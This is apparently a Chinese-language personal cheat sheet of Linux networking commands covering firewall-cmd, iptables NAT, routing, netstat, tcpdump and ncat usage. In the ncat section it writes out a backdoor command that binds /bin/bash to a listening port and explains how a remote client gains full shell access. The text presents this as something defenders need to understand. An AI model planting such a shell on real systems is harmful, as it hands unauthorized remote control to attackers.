- firewall-cmd
- curl
- ip
- ifconfig
- iptables
- 让openstack 虚拟机上网的规则
- https://www.cnblogs.com/wangkangluo1/archive/2012/04/19/2457072.html">iptables 命令介绍 : https://www.cnblogs.com/wangkangluo1/archive/2012/04/19/2457072.html
- 监听端口
- 连接端口
- 监听/连接 UDP 端口
- 将 nc 作为聊天工具
- 将 nc 作为代理
- 所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点
- 使用 nc 拷贝文件
- 通过 nc 创建后门
- 永久路由
- 路由匹配是先匹配掩码(mask)最长的 如果mask一样 就根据Metric值匹配的顺序。
firewall-cmd
1、基本使用
查看版本: firewall-cmd --version
查看帮助: firewall-cmd --help
显示状态: firewall-cmd --state
更新防火墙规则: firewall-cmd --reload
查看区域信息: firewall-cmd --get-active-zones
查看指定接口所属区域: firewall-cmd --get-zone-of-interface=eth0
拒绝所有包:firewall-cmd --panic-on
取消拒绝状态: firewall-cmd --panic-off
查看是否拒绝: firewall-cmd --query-panic
参数解释
–add-service #添加的服务
–zone #作用域
–add-port=80/tcp #添加端口,格式为:端口/通讯协议
–permanent #永久生效,没有此参数重启后失效
2、对网络端口操作
添加
firewall-cmd --zone=public(作用域) --add-port=80/tcp(端口和访问类型) --permanent(永久生效)
firewall-cmd --zone=public --add-port=80/tcp --permanent
firewall-cmd --zone=public --query-port=80/tcp #查看
firewall-cmd --zone=public --remove-port=80/tcp --permanent # 删除
firewall-cmd --zone=public --list-ports #查看所有打开的端口
3、对服务操作
firewall-cmd --list-services
firewall-cmd --get-services
firewall-cmd --add-service=<service>
firewall-cmd --zone=public --add-service=http --permanent
firewall-cmd --delete-service=<service>
在每次修改端口和服务后/etc/firewalld/zones/public.xml文件就会被修改,所以也可以在文件中之间修改,然后重新加载 使用命令实际也是在修改文件,需要重新加载才能生效。
4、详细使用
#修改/etc/firewalld/zones/public.xml下规则文件和直接用命令配置效果一样
firewall-cmd --permanent --zone=public --add-rich-rule='rule family="ipv4" source address="192.168.0.4/24" service name="http" accept' //设置某个ip访问某个服务
firewall-cmd --permanent --zone=public --remove-rich-rule='rule family="ipv4" source address="192.168.0.4/24" service name="http" accept' //删除配置
firewall-cmd --permanent --add-rich-rule 'rule family=ipv4 source address=192.168.0.1/2 port port=80 protocol=tcp accept' //设置某个ip访问某个端口
firewall-cmd --permanent --remove-rich-rule 'rule family=ipv4 source address=192.168.0.1/2 port port=80 protocol=tcp accept' //删除配置
firewall-cmd --query-masquerade # 检查是否允许伪装IP
firewall-cmd --add-masquerade # 允许防火墙伪装IP
firewall-cmd --remove-masquerade # 禁止防火墙伪装IP
firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080 # 将80端口的流量转发至8080
firewall-cmd --add-forward-port=proto=80:proto=tcp:toaddr=192.168.1.0.1 # 将80端口的流量转发至192.168.0.1
firewall-cmd --add-forward-port=proto=80:proto=tcp:toaddr=192.168.0.1:toport=8080 # 将80端口的流量转发至192.168.0.1的8080端口
curl
$ curl -X GET -H "Accept:application/json" http://192.100.3.28:8000/instances/947140e87046/actuator/health
-H设置请求头
-X:指定请求方式
curl -X POST -H "Content-Type:application/json" -d '{}' 127.0.0.1:8088/user/getAllUserInfo
ip
#1、添加路由
ip route add to 192.100.3.0/24 dev ens33 via 192.100.5.254
ifconfig
ifconfig 查看网卡信息
iptables
链接
四表五链概念
- filter表——过滤数据包
- Nat表——用于网络地址转换(IP、端口)
- Mangle表——修改数据包的服务类型、TTL、并且可以配置路由实现QOS
- Raw表——决定数据包是否被状态跟踪机制处理
- INPUT链——进来的数据包应用此规则链中的策略
- OUTPUT链——外出的数据包应用此规则链中的策略
- FORWARD链——转发数据包时应用此规则链中的策略
- PREROUTING链——对数据包作路由选择前应用此链中的规则(所有的数据包进来的时侯都先由这个链处理)
- POSTROUTING链——对数据包作路由选择后应用此链中的规则(所有的数据包出来的时侯都先由这个链处理
``` iptables -t nat -A POSTROUTING -s 192.168.25.0/24 -j SNAT —to-source 192.168.189.131 #将来自192.168.25.0/24网段的数据包的源地址替换为192.168.189.131 iptables -t nat -vnL #查看net规则 iptables -t nat -F #清空规则 iptables -t nat -vnL POSTROUTING —line-numbers #查看POSTROUTING链的规则 iptables -t nat -D POSTROUTING 1 #删除POSTROUTING链的第一条规则 -t :指定表 -A :添加到指定chain -D :从指定chain删除匹配的规则 -L: List the rules in a chain or all chains -j : target for rule -n: 以数字的格式显示ip 和端口
—line-numbers:显示行号 -v:详细模式 -o :指定可以说访问的网卡让openstack 虚拟机上网的规则
iptables -t nat -A POSTROUTING -s 172.28.101.111/255.255.255.0 -o ens33 -j MASQUERADE iptables -t nat -A POSTROUTING -s 172.17.0.0/16 -o docker0 -j MASQUERADE iptables -t nat -A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE
SNAT是source networkaddress translation的缩写,即源地址目标转换。 NAT是destination networkaddress translation的缩写,即目标网络地址转换 MASQUERADE,地址伪装,算是snat中的一种特例,可以实现自动化的snat。 target的特殊值: ACCEPT – 允许防火墙接收数据包 DROP – 防火墙丢弃包 QUEUE – 防火墙将数据包移交到用户空间 RETURN – 防火墙停止执行当前链中的后续Rules,并返回到调用链(the calling chain)中。
iptables 命令介绍 : https://www.cnblogs.com/wangkangluo1/archive/2012/04/19/2457072.html
<a name="Ijrfm"></a>
# ncat/nc
https://www.cnblogs.com/ECJTUACM-873284962/p/9712882.html
监听端口
nc -l 8080
连接端口
nc 192.100.3.100 8080
监听/连接 UDP 端口
nc -l -u 1234 ncat -v -u 192.168.105.150 1234
将 nc 作为聊天工具
ncat -l 8080 ncat 192.168.1.100 8080
将 nc 作为代理
ncat -l 8080 | ncat 192.168.1.200 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点
mkfifo 2way ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way
使用 nc 拷贝文件
ncat -l 8080 > file.txt 现在去要被拷贝数据的机器上运行下面命令: ncat 192.168.1.100 8080 —send-only < data.txt 这里,data.txt 是要发送的文件。 -–send-only 选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 我们需要手工按下 ctrl+c 来关闭连接。 我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心
通过 nc 创建后门
nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为: ncat -l 10000 -e /bin/bash -e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限: ncat 192.168.1.100 10000
<a name="cZ0cj"></a>
# netstat
netstat -nltp #查看当前的进程连接网络的信息 netstat -antup|grep 2766 #查询pid对应的端口号 -r:显示路由表信息 -l:显示监听socket -a:显出所有的socket -p:显示socket的 PID/Program -t:显示tcp协议的socket -u:显示udp协议的socket
<a name="qBjCB"></a>
# route
永久路由
https://www.cnblogs.com/t-bar/p/11170120.html https://www.cnblogs.com/zhangyy3/p/12079150.html route add -net 192.168.0.0/16 gw 192.100.5.254 #添加路由 add/del:添加或删除路由;删除时可以不加网关:route del -net 192.168.0.0/16 -host/-net:表示路由目标是主机还是网段; netmask:表示路由目标为网段时才会使用到,表示路由目标网段的子网掩码; gw:命令关键字,后面跟下一跳网关; dev:命令关键字,后面跟具体设备名,表示路由是从该设备出去。 route -n # -n 参数就是在输出的信息中不打印主机名而直接打印ip地址。
#
Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 192.168.189.2 0.0.0.0 UG 100 0 0 eth0 172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 docker0 172.100.10.0 0.0.0.0 255.255.255.0 U 0 0 0 br-0c45240b6397 192.168.81.0 0.0.0.0 255.255.255.0 U 100 0 0 eth1 192.168.189.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0 后四条是自动生成的,因为是直连的网段,不需要走三层,直接走二层协议,在每块网卡上每配置一个IP就会生成一条记录(一个网卡上可以配置多个IP)。 表示去往这四个网段的数据包,直接由网卡接口docker0及brbr-0c45240b6397、eth1、eth0发送出去 这两条记录中的gateway并没有意义,Flags那一列中有G时才会使用Gateway。这两条路由并没有这样的标志, 由于它们是本地的,匹配这些条目的数据包会直接通过Iface列中的网卡发送出去。 例如: 192.168.0.0 10.77.238.254 255.255.0.0 UG 0 0 0 eth0 表示去往192.168.0.0网段的数据包由网关10.77.238.254通过网卡eth0来转发 0.0.0.0 169.254.0.0 0.0.0.0 UG 0 0 0 eth1 表示去往所有目标地址数据包由网关169.254.0.0 通过网卡eth1来转发
路由匹配是先匹配掩码(mask)最长的 如果mask一样 就根据Metric值匹配的顺序。
#
route 命令输出的路由表字段含义如下:
Destination 目标
The destination network or destination host. 目标网络或目标主机。
Gateway 网关
The gateway address or ‘*’ if none set. 网关地址,如果没有就显示星号。
Genmask 网络掩码
The netmask for the destination net; ‘255.255.255.255’ for a
host destination and ‘0.0.0.0’ for the default route.
Flags:总共有多个旗标,代表的意义如下:
U (route is up):该路由是启动的;
H (target is a host):目标是一部主机 (IP) 而非网域;
G (use gateway):需要透过外部的主机 (gateway) 来转递封包;
R (reinstate route for dynamic routing):使用动态路由时,恢复路由资讯的旗标;
D (dynamically installed by daemon or redirect):已经由服务或转 port 功能设定为动态路由
M (modified from routing daemon or redirect):路由已经被修改了;
! (reject route):这个路由将不会被接受(用来抵挡不安全的网域!)
A (installed by addrconf)
C (cache entry)
Metric 距离、跳数。暂无用。
The ‘distance’ to the target (usually counted in hops). It is
not used by recent kernels, but may be needed by routing dae-
mons.
Ref 不用管,恒为0。
Number of references to this route. (Not used in the Linux ker-nel.)
Use 该路由被使用的次数,可以粗略估计通向指定网络地址的网络流量。
Count of lookups for the route. Depending on the use of -F and
-C this will be either route cache misses (-F) or hits (-C).
Iface 接口,即eth0,eth0等网络接口名
Interface to which packets for this route will be sent.
<a name="xew6e"></a>
# tcpdump
tcpdump -i ens36 -nn icmp 抓包 经过网卡ens36的数据包 https://linux.cn/article-10191-1.html https://blog.csdn.net/liang_baikai/article/details/79626180 ```